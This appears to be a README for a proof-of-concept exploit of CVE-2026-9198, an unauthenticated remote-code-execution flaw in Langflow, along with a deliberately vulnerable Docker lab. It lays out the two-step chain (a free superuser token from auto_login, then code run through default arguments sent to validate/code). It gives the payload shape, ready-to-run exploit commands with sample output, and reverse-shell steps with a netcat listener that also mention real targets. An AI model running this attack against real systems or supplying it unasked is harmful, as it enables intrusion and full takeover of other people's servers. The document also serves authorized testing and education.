
Proof-of-concept exploit for CVE-2026-9198, an unauthenticated RCE in IBM Langflow OSS, chaining auto_login and validate/code endpoints. Includes a vulnerable Docker lab for authorized testing and education.
Proof-of-concept exploit and a self-contained Docker lab for CVE-2026-9198, an unauthenticated remote code execution vulnerability in IBM Langflow OSS.
The exploit chains two endpoints — auto_login (which hands out a SUPERUSER token
to anyone) and validate/code (which runs attacker-supplied Python) — to get code
execution as the Langflow service user, with no credentials required.
[!WARNING] For authorized security testing and education only. Run this exclusively against systems you own or have explicit written permission to test. The Docker lab in this repo is deliberately vulnerable — keep it on your machine and never expose it to the internet. You are responsible for how you use this code.
| CVE | CVE-2026-9198 |
| Product | IBM Langflow OSS |
| Affected | 1.0.0 – 1.10.0 |
| Fixed in | 1.10.1 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — Improper Control of Generation of Code ('Code Injection') |
| CISA KEV | Yes — known exploited in the wild |
The exploit is a two-step chain that needs no authentication:
GET /api/v1/auto_loginLangflow ships with LANGFLOW_AUTO_LOGIN enabled by default. When it is, the
auto_login endpoint issues a long-lived SUPERUSER JWT to any caller, no
credentials asked:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/codeSince 1.3.0 this endpoint requires authentication (that was the fix for
CVE-2025-3248) — but step 1 just handed us a valid SUPERUSER token, so the gate is
useless. Internally the endpoint calls validate_code(), which compiles and runs
every function definition it receives:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- runs the def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- output leaks back here
Executing a def statement evaluates its default argument values. So a function
whose default argument is exec("...") runs arbitrary code the moment it is
validated — the function is never even called. Any exception raised is captured and
returned in the response under function.errors, which the exploit uses to read
command output back over HTTP.
Payload shape (the command is base64-wrapped to survive any quoting):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # the PoC (command execution + reverse shell)
├── docker-compose.yml # vulnerable lab: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow takes a minute or two to become ready on first boot. Wait until it answers:
curl -fs http://127.0.0.1:9999/health && echo OK
The service is bound to 127.0.0.1:9999 on purpose — it is not reachable from your
network.
Install the dependency, then point the exploit at the lab.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
Example output:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
Any command works: --cmd "uname -a && whoami && cat /etc/os-release".
Start a listener:
nc -lvnp 4444
Then fire the payload. When the target runs in Docker on the same machine, the
container reaches your host at host.docker.internal (Docker Desktop); on a real
target use your routable IP:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
You get an interactive /bin/sh on your listener as the langflow user.
| Flag | Description |
|---|---|
--url | Target base URL (required) |
--cmd | Command to run (default id) |
--reverse-shell | Deliver a reverse shell instead of running --cmd |
--lhost / --lport | Reverse-shell callback host and port |
--token | Use a supplied bearer token and skip auto_login |
--timeout | Per-request timeout, seconds (default 15) |
--insecure | Skip TLS verification (for https targets) |
LANGFLOW_AUTO_LOGIN=false,
and set real superuser credentials.validate/code code-injection this builds on)